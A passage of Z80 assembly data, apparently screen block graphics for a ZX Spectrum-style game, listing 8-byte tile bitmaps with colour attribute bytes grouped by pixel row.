defb 0xAA, 0x54, 0xA8, 0x40, 0x00, 0x00, 0x00, 0x00
defb 0x4F
; blocks at pixel positionn (y=40):
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x4F
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x4F
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x4F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x4F
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x79
defb 0x00, 0x00, 0x40, 0x08, 0x00, 0x00, 0x40, 0x00
defb 0x7D
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x7D
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x79
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x47
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAB, 0x5D, 0xAB, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x02, 0x00
defb 0x7D
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x79
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55
defb 0x4F
defb 0x2A, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x54, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x55, 0x2A, 0x05, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0x0A, 0x01
defb 0x4F
defb 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x54, 0xA0, 0x40
defb 0x4F
defb 0xAA, 0x54, 0xA8, 0x40, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
; blocks at pixel positionn (y=48):
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x47
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xFF, 0x5B, 0x00, 0x20, 0x02, 0x00, 0x00, 0x00
defb 0x46
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x6F
; blocks at pixel positionn (y=56):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x47
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
; blocks at pixel positionn (y=64):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0x7B, 0x57, 0x32, 0x22, 0x20, 0x20, 0x00, 0x00
defb 0x5F
defb 0xDB, 0x67, 0x56, 0x62, 0x42, 0x60, 0x20, 0x20
defb 0x5F
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x6F
defb 0xA8, 0xD4, 0xFA, 0xF5, 0xBA, 0xFD, 0xFE, 0xFD
defb 0x4F
; blocks at pixel positionn (y=72):
defb 0x00, 0x01, 0x03, 0x07, 0x0E, 0x3B, 0x77, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x80, 0xC0, 0xE0, 0x70, 0xDC, 0xEE, 0xFF
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0x48, 0x00, 0x01, 0xC0, 0xAA, 0x00, 0x50, 0x2A
defb 0x50
defb 0x22, 0x04, 0x00, 0x01, 0x57, 0x0E, 0x40, 0xAA
defb 0x50
defb 0x00, 0xFF, 0xDD, 0xAA, 0x88, 0xFF, 0x55, 0x00
defb 0x01
defb 0x00, 0xFF, 0xDD, 0xAA, 0x88, 0xFF, 0x55, 0x00
defb 0x01
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0x77, 0x3B, 0x0E, 0x07, 0x03, 0x01, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7F
defb 0xFF, 0xEE, 0xDC, 0x70, 0xE0, 0xC0, 0x80, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0x00, 0x00, 0x28, 0x55, 0x82, 0x00, 0xAA, 0xFF
defb 0x06
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
; blocks at pixel positionn (y=80):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x01, 0x00, 0x02, 0x08, 0x10, 0x84, 0x20, 0x80
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x01, 0x00, 0x02, 0x04, 0x10, 0x00, 0x08, 0x00
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x01, 0x00, 0x02, 0x08, 0x10, 0x84, 0x20, 0x80
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x01, 0x00, 0x02, 0x04, 0x10, 0x00, 0x08, 0x00
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x40, 0x42, 0x44, 0x48, 0xD0, 0xA0, 0xC0
defb 0x4B
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x4F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x18, 0x49, 0x90, 0x40, 0x91, 0x00, 0x90, 0x04
defb 0x5F
defb 0x01, 0x0A, 0x81, 0x08, 0x05, 0x4C, 0x8D, 0x18
defb 0x50
defb 0xAA, 0x40, 0x0E, 0x57, 0x01, 0x00, 0x04, 0x22
defb 0x5F
defb 0x66, 0x54, 0x66, 0x7C, 0x66, 0x54, 0x66, 0x7C
defb 0x01
defb 0x10, 0x10, 0x08, 0x08, 0x08, 0x04, 0x04, 0x04
defb 0x07
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x08, 0x08, 0x10, 0x10, 0x10, 0x20, 0x20, 0x20
defb 0x07
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x15, 0x2B, 0x5F, 0xAF, 0x5D, 0xBF, 0x7F, 0xBF
defb 0x4F
defb 0xFF, 0xFF, 0xFF, 0xBF, 0xFD, 0xFF, 0xFF, 0xFF
defb 0x6F
; blocks at pixel positionn (y=88):
defb 0x01, 0x00, 0x02, 0x08, 0x10, 0x84, 0x20, 0x80
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x10, 0x00, 0x20, 0x40, 0x00, 0x20, 0x80, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x01, 0x00, 0x02, 0x08, 0x10, 0x84, 0x20, 0x80
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x10, 0x00, 0x20, 0x40, 0x00, 0x20, 0x80, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x49, 0x28, 0x11, 0x09, 0x0B, 0x25, 0x22, 0xA2
defb 0x4B
defb 0x80, 0x90, 0x11, 0x8A, 0x8C, 0x88, 0x10, 0x90
defb 0x4A
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x4F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0x50, 0x81, 0x10, 0xA0, 0x32, 0xB1, 0x18
defb 0x5F
defb 0x18, 0x92, 0x09, 0x02, 0x89, 0x00, 0x09, 0x20
defb 0x50
defb 0x48, 0x00, 0x01, 0xC0, 0xAA, 0x00, 0x50, 0x2A
defb 0x50
defb 0x66, 0x54, 0x66, 0x7C, 0x66, 0x54, 0x66, 0x7C
defb 0x01
defb 0x00, 0x03, 0x0C, 0x11, 0x27, 0x2C, 0x58, 0x59
defb 0x45
defb 0x00, 0xC0, 0x30, 0x88, 0xE4, 0x34, 0x1A, 0x9A
defb 0x05
defb 0x60, 0x00, 0x60, 0x00, 0x30, 0x00, 0x30, 0x00
defb 0x45
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x03, 0x0C, 0x11, 0x27, 0x2C, 0x58, 0x59
defb 0x45
defb 0x00, 0xC0, 0x30, 0x88, 0xE4, 0x34, 0x1A, 0x9A
defb 0x05
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x06, 0x00, 0x06, 0x00, 0x0C, 0x00, 0x0C, 0x00
defb 0x45
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
defb 0xFF, 0xFF, 0xFF, 0xFF, 0xF7, 0xBF, 0xFD, 0xAA
defb 0x6F
; blocks at pixel positionn (y=96):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x20, 0x08, 0x00, 0x10, 0x00
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x10, 0x08, 0x21, 0x04, 0x01
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x20, 0x08, 0x00, 0x10, 0x00
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x10, 0x08, 0x21, 0x04, 0x01
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x66, 0x25, 0x22, 0x17, 0x0E, 0x0D, 0x0B, 0x05
defb 0x4A
defb 0x91, 0x12, 0x8C, 0x18, 0x36, 0xE1, 0xC0, 0x80
defb 0x4A
defb 0xDB, 0x85, 0x82, 0x00, 0x89, 0x40, 0x80, 0x50
defb 0x47
defb 0xEA, 0x45, 0x03, 0x21, 0x01, 0x11, 0x00, 0x11
defb 0x46
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x38, 0x44, 0x92, 0x8A, 0x4A, 0x32, 0x02
defb 0x45
defb 0x01, 0x00, 0x02, 0x04, 0x10, 0x00, 0x08, 0x00
defb 0x47
defb 0x00, 0x44, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x44, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x44, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x10, 0x10, 0x08, 0x08, 0x08, 0x04, 0x04, 0x04
defb 0x4D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x08, 0x08, 0x10, 0x10, 0x10, 0x20, 0x20, 0x20
defb 0x4D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
; blocks at pixel positionn (y=104):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x08, 0x00, 0x04, 0x02, 0x00, 0x04, 0x01, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x10, 0x08, 0x21, 0x04, 0x01
defb 0x79
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x08, 0x00, 0x04, 0x02, 0x00, 0x04, 0x01, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x7D
defb 0x80, 0x00, 0x40, 0x10, 0x08, 0x21, 0x04, 0x01
defb 0x79
defb 0x1B, 0x1A, 0x15, 0x16, 0x27, 0x36, 0x37, 0x36
defb 0x4A
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x80, 0x40, 0x88, 0xC0, 0x80, 0x40, 0x90, 0x80
defb 0x46
defb 0x08, 0x11, 0x0A, 0x11, 0x0B, 0x11, 0x23, 0x11
defb 0x06
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x0A, 0x02, 0x0A, 0x02, 0x44, 0x24, 0x18, 0x00
defb 0x05
defb 0x08, 0x00, 0x04, 0x02, 0x00, 0x04, 0x01, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
defb 0x00, 0x03, 0x0C, 0x11, 0x27, 0x2C, 0x58, 0x59
defb 0x4F
defb 0x00, 0xC0, 0x30, 0x88, 0xE4, 0x34, 0x1A, 0x9A
defb 0x4D
defb 0x60, 0x00, 0x60, 0x00, 0x30, 0x00, 0x30, 0x00
defb 0x4D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x00, 0x03, 0x0C, 0x11, 0x27, 0x2C, 0x58, 0x59
defb 0x4F
defb 0x00, 0xC0, 0x30, 0x88, 0xE4, 0x34, 0x1A, 0x9A
defb 0x4D
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x4F
defb 0x06, 0x00, 0x06, 0x00, 0x0C, 0x00, 0x0C, 0x00
defb 0x4D
defb 0x04, 0x04, 0x04, 0x04, 0x0C, 0x08, 0x0C, 0x08
defb 0x4A
defb 0x20, 0x22, 0x22, 0x32, 0x23, 0x32, 0x33, 0x22
defb 0x4A
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x5F
; blocks at pixel positionn (y=112):
defb 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
defb 0x47
